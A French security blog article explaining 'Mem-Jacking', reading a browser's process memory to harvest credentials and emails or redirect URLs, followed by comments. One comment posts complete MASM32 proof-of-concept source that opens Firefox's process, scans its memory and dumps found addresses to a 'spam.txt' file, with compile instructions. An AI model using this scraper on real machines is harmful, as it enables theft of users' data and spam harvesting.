Le Mem-Jacking est une nouvelle technique de compromission à destination de l’espace d’adressage mémoire des navigateurs Web et cela afin de subtiliser des informations sensibles. Par ce biais, il est également possible de forcer la redirection des utilisateurs vers des sites malicieux.
La sécurité liée aux navigateurs Web est à l’heure actuelle un point primordial, de récents exemples d’attaques plus évoluées, comme le « In-session Phishing » , sont là pour le rappeler régulièrement aux utilisateurs et aux développeurs. Après le Session-Hijacking , le Click-Jacking et le Cookie-Hijacking, c’est au tour du Mem-Jacking de voir le jour et de renforcer l’impression latente d’insécurité.
Transfuge des techniques de cassage de protections qui sont utilisées pour le piratage des jeux vidéo, le Mem-Jacking consiste à s’infiltrer malicieusement au sein même de l’espace d’adressage mémoire d’un navigateur pour y subtiliser des informations sensibles. On ne parle pas ici du cache du navigateur dont les fonctionnalités de stockage mémoire temporaire ont déjà fait l’objet de techniques d’exploitation auparavant.
Concrètement, le contexte d’exploitation de cette attaque par Mem-Jacking est le suivant : un utilisateur lance un navigateur lambda depuis un système d’exploitation de type Microsoft Windows. Ne présentant aucune vulnérabilité connue à ce jour, le système d’exploitation en présence et la dernière version en date du navigateur utilisé permettent à l’utilisateur de profiter d’un environnement de navigation qui est supposé être sain et sécurisé. L’exploitation à venir ne pourra donc pas être imputée à des failles tierces qui leur seraient directement relatives.
Cet utilisateur choisit délibérément d’enregistrer des informations d’authentification pour des services en ligne. Le navigateur chiffrant ces informations avec un algorithme fort avant stockage, l’utilisateur confiant n’aura alors plus besoin de les introduire ultérieurement. Elles peuvent par exemple être des identifiants et des mots de passe pour des services de messagerie ou de réseaux sociaux. L’utilisateur a par ailleurs décidé d’installer préalablement la barre d’outils Google qui lui permettra, après une authentification initiale, d’accéder aisément aux services proposés.
Les données, enregistrées par l’utilisateur, sont bien chiffrées initialement par le navigateur avant d’être stockée en mémoire. Cependant, à un moment donné du processus de réutilisation, il reste nécessaire que ces données soient temporairement stockées en clair quelque part pour être ensuite envoyées vers le formulaire d’authentification du service en question. C’est à cet endroit précisément que va se trouver le point d’interception sur lequel repose les attaques par Mem-Jacking, une technique proposée par Aodrulez .
De plus, lorsqu’un navigateur ouvre une page Web, toutes les données relatives à cette page (code HTML, CSS, images) sont stockées dans la mémoire, mais également l’ensemble des informations liées aux communications réseaux établies entre le navigateur et le serveur Web en charge de cette page. Il est alors envisageable pour l’attaquant de développer un code spécifique qui lui va permettre de scanner cet espace d’adressage mémoire avec pour l’objectif d’y effectuer des recherche de motifs sur les informations souhaitées en collecte.
Lors des tests de recherche et pour la seule navigation sur le service Orkut depuis la barre d’outils Google, il a ainsi été possible d’obtenir, après analyse statique, une liste de mille cinq cents occurrences d’une chaîne de caractères équivalente à l’extension « .com », dont de nombreux mails pouvant alimenter une base pour le SPAM . Une analyse en temps réel reste par ailleurs envisageable afin d’augmenter les probabilités de collecte d’informations sensibles, les doublons pouvant être traités automatiquement alors que la verbosité pourra quant à elle être réduite par un choix judicieux des motifs de recherche.
Une preuve de concept POC, portant sur ces recherches statiques de motifs, est dès à présent disponible dans le papier de recherche mis à disposition de tous ; elle a été testée avec succès à l’encontre de la version 3.0.4 du navigateur Mozilla Firefox. Outre la récupération de données sensibles, la technique du Mem-Jacking pourrait également permettre à un attaquant d’effectuer une réécriture à la volée des adresses URL relatives aux pages Web que l’utilisateur ciblé souhaiterait visiter.
Dans ce cadre, l’utilisateur entre l’URL de la page qu’il désire visualiser et il valide ensuite sa requête, le navigateur récupère la valeur de l’URL dans un endroit précis de son espace d’adressage mémoire puis il va se connecter au serveur Web qui prend en charge la page associée à cette URL. Si l’attaquant parvient à surveiller précisément cet endroit et qu’il réussit à interférer nuisiblement avec la valeur de l’URL qui y est stockée, il lui sera alors possible de rediriger le navigateur de l’utilisateur vers une page Web du site de son choix.
Comment peut-on alors se prémunir contre le Mem-Jacking ? Comme on vient de le constater, ses formes les plus avancées nécessitent la surveillance de certaines zones de l’espace d’adressage mémoire du navigateur voir la modification, une randomisation des adresses mémoire liées à ce stockage pourrait déjà être mise en œuvre par les développeurs afin de complexifier le travail de l’attaquant. Par ailleurs, si le Mem-Jacking se concentre ici plus particulièrement sur les navigateurs Web, il reste néanmoins transposable à d’autres applications.
Trés bon article
Cependant, comment on peut dérouler cette attaque? (Méthode, outils,…)
Merci pour votre commentaire .
LE POC Suivant a été publiée tu peux le compilé avec MASM32 http://www.masm32.com/masmdl.htm
voici le tutoriel http://pagesperso-orange.fr/luce.yves/compiler.htm
————————————————-BEGIN—
.386
.model flat,stdcall
option casemap:none
;All the include files i’ll ever need
include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc
include wsock32.inc
include msvcrt.inc
include crtlib.inc
includelib crtlib.lib
includelib msvcrt.lib
include macros_sadd.inc
includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib
includelib wsock32.lib
includelib masm32.lib
wow proto :dword
.data
crlf db 0ah,0dh
;list of valid chars in the links
valid db ‘0123456789
_.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@’,0
mail db ‘.com’,0
shitbuff db ‘a’,0
.data?
capt db 50 dup(?)
buff db 1000 dup(?)
hwnd dword ?
pid dword ?
phand dword ?
memrange dword ?
count dword ?
occur db 40 dup(?)
idtemp db 60 dup(?)
fhand dword ?
.code
start:
;Find the FireFox window’s Handle
invoke FindWindow,SADD(« MozillaUIWindowClass »),NULL
mov [hwnd],eax
cmp eax,-1
je over
;Create a file to dump our findings
invoke CreateFile,SADD(« c:
\spam.txt »),GENERIC_WRITE,NULL,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL
mov [fhand],eax
invoke GetWindowText,eax,addr capt,50
invoke MessageBox,0,SADD(« Mem Scanning started… »),SADD(« Aodrulez »),MB_OK
invoke GetWindowThreadProcessId,hwnd,addr pid
invoke OpenProcess,PROCESS_ALL_ACCESS,hwnd,pid
mov [phand],eax
;Start from the address 1000h in Memory alloted to FireFox
mov [memrange],1000h
mov [count],0
mega_loop:
readdata:
invoke ReadProcessMemory,phand,memrange,addr buff,1000,addr pid
invoke BinSearch,0,addr buff,sizeof buff,addr mail,sizeof mail
cmp eax,-1
je fuck
inc count
lea edx,buff
add edx,eax
dec edx
invoke wow,edx
fuck:
add memrange,1000
;Continue till address 70000000h in Memory alloted to FireFox
cmp memrange,70000000h
jl mega_loop
cmp count,0
jna over
disp:
invoke wsprintf,addr occur,SADD(« I found %u Links on the page! »),count
invoke MessageBox,0,addr occur,SADD(« Aod »),MB_OK
over:
invoke CloseHandle,fhand
invoke CloseHandle,phand
invoke ExitProcess,0
;Procedure to quickly get the links in the correct format from the
;hits obtained.Theres Scope for lots of improvement!
wow proc stradd:dword
mov esi,stradd
mov ecx,sizeof valid
looper1:
mov bl,byte ptr [esi]
lea eax,shitbuff
mov byte ptr [eax],bl
invoke BinSearch,0,addr valid,sizeof valid,addr shitbuff,sizeof shitbuff
cmp eax,-1
je crap
dec esi
loop looper1
crap:
inc esi
lea edi,idtemp
mov ecx,stradd
sub ecx,esi
inc ecx
mov pid,ecx
looper3:
cld
rep movsb
mov byte ptr [stradd+1],0
invoke WriteFile,fhand,addr idtemp,pid,addr pid,NULL
invoke WriteFile,fhand,addr mail,4,addr pid,NULL
invoke WriteFile,fhand,addr crlf,2,addr pid,NULL
ret
wow endp
end start
——————————————–END—
Interessante Informationen.